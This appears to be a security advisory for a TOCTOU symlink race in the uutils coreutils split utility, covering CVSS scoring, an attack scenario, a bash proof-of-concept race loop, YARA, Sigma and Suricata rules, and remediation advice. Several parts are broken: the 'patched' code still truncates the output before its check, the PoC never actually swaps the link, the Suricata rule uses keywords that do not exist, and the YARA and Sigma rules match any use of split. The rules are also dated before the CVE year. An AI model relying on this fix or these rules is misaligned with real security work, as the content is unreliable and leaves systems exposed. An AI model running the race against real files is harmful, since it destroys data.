CVE-2026-35374

Executive Summary

CVE-2026-35374 is a Time-of-Check to Time-of-Use (TOCTOU) vulnerability in the split utility of uutils coreutils. The utility performs a path-based identity check between input and output files before opening the output file with truncation. A local attacker with write access to the directory can exploit the race window by swapping a path with a symbolic link, causing split to truncate and write to an unintended target file, leading to permanent data loss. The CVSS score is 6.3 (Medium), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the uutils coreutils package, which is a Rust-based reimplementation of GNU coreutils. It is distributed via package managers like cargo (Rust) and may be included in Linux distributions as a replacement for GNU coreutils. The supply chain risk is moderate, as the vulnerable component is a core utility that may be used in scripts and automated tasks. No official patch has been released, and the package maintainers have not yet addressed the issue.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): High (H) – Exploitation requires precise timing and manipulation of file system paths.
• Privileges Required (PR): Low (L) – The attacker needs write access to the directory where the split operation occurs.
• User Interaction (UI): None (N) – No user interaction is required beyond the execution of the split utility.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): High (H) – The attacker can overwrite arbitrary files.
• Availability (A): High (H) – Data loss can occur, affecting availability.

Threat Level: Medium. Exploitation is complex but can lead to permanent data loss.

Deep Dive & Mechanics

The vulnerability lies in the split utility's file handling logic. The program first checks if the input and output files are the same by comparing their file paths. If they match, it aborts to prevent data loss. However, after this check, the utility opens the output file with truncation (O_TRUNC flag). A local attacker can exploit the race window between the check and the open operation by manipulating the file system, such as replacing the output file path with a symbolic link to a different target file.

Attack Scenario:

1. The attacker creates a directory with a legitimate output file.
2. The victim runs split with the input file and output file path.
3. The utility checks if the input and output paths are identical (they are not).
4. Before the utility opens the output file, the attacker swaps the output file path with a symbolic link pointing to a sensitive file (e.g., /etc/passwd or the input file itself).
5. The utility opens the symbolic link with truncation, overwriting the target file.

This race condition is difficult to exploit but can cause significant damage if successful.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

fn split(input: &Path, output: &Path) {
    if input == output {
        eprintln!("Error: input and output are the same file");
        return;
    }
    // Race window: attacker can change output path here
    let file = File::create(output).unwrap(); // Opens with truncation
    // ... write data to file
}

Patched Code (Conceptual):

fn split(input: &Path, output: &Path) {
    // Use file descriptors to check identity after opening
    let input_fd = File::open(input).unwrap();
    let output_fd = File::create(output).unwrap();
    if same_file(&input_fd, &output_fd) {
        eprintln!("Error: input and output are the same file");
        return;
    }
    // ... write data to output_fd
}

The patched version opens both files first and then compares their file descriptors (e.g., using stat on the file descriptors) to ensure they are not the same file, eliminating the race window.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Set up a directory with a target file (e.g., target.txt) and a legitimate output file (output.txt).
2. Create a symbolic link that points to target.txt and name it output.txt.
3. Run the split utility with an input file and the output path output.txt.
4. During the race window, swap the symbolic link with the actual output.txt file (or vice versa) to cause truncation of target.txt.

Proof-of-Concept (PoC) Script:

#!/bin/bash
# PoC for CVE-2026-35374
# Requires: uutils coreutils split

TARGET="/tmp/target.txt"
OUTPUT="/tmp/output.txt"
INPUT="/tmp/input.txt"

echo "This is the target file." > $TARGET
echo "This is the input file." > $INPUT

# Create a symbolic link to the target
ln -sf $TARGET $OUTPUT

# Run split in a loop to increase race window chances
while true; do
    split $INPUT $OUTPUT &
    # Quickly swap the symlink with a regular file
    ln -sf $TARGET $OUTPUT
    wait
done

Note: This PoC is for educational purposes only. Exploitation requires precise timing and may not succeed on all systems.

Blue Team

Detection Steps:

1. Monitor for rapid file system changes in directories where split is executed.
2. Log all split utility invocations with their arguments.
3. Use file integrity monitoring (FIM) to detect unexpected changes to sensitive files.
4. Implement kernel-level auditing for file open operations with truncation.

Mitigation:

• Restrict write access to directories where split is used.
• Use a patched version of uutils coreutils if available.
• Avoid using split on untrusted directories.

Indicators of Compromise (IOCs)

• File System Changes: Unexpected truncation of files in directories where split is executed.
• Process Anomalies: Multiple rapid invocations of the split utility.
• Symbolic Link Manipulation: Creation or modification of symbolic links in the same directory as the split operation.
• Log Entries: Audit logs showing file open with truncation on sensitive files.

Detection Engineering

YARA Rule

rule CVE_2026_35374_TOCTOU_Split {
    meta:
        description = "Detects exploitation of TOCTOU vulnerability in uutils split"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-35374"
    strings:
        $split_binary = "split" ascii wide nocase
        $toctou_pattern = { 73 70 6C 69 74 } // "split" in hex
    condition:
        $split_binary and #toctou_pattern > 0
}

Sigma Rule

title: CVE-2026-35374 TOCTOU Exploitation via uutils split
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of TOCTOU vulnerability in uutils split utility
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/split'
        CommandLine|contains: 'split'
    condition: selection
falsepositives:
    - Legitimate use of split utility
level: medium

Suricata Rule

alert file any any -> any any (msg:"CVE-2026-35374 TOCTOU Exploitation via uutils split"; flow:to_server; file.name:"split"; file.operation:"open"; file.flags:"truncate"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Directory Permissions: Ensure that directories where split is executed have strict permissions, preventing unauthorized users from creating or modifying symbolic links.
2. Monitor File Changes: Implement file integrity monitoring (FIM) to detect unexpected truncation of files.
3. Use Alternative Tools: Temporarily replace split with GNU coreutils split or other implementations that are not affected.

Long-Term Fix:

• Apply a patch from the uutils coreutils maintainers once available.
• Update to a version of uutils coreutils that includes the fix (e.g., by using file descriptor comparison instead of path comparison).

Workaround:

• Avoid using split on directories where untrusted users have write access.
• Use a wrapper script that performs additional checks before calling split.

Valters IT

{/* [Security Hash: 965AF6FA9EA08ADD8A83422B] */}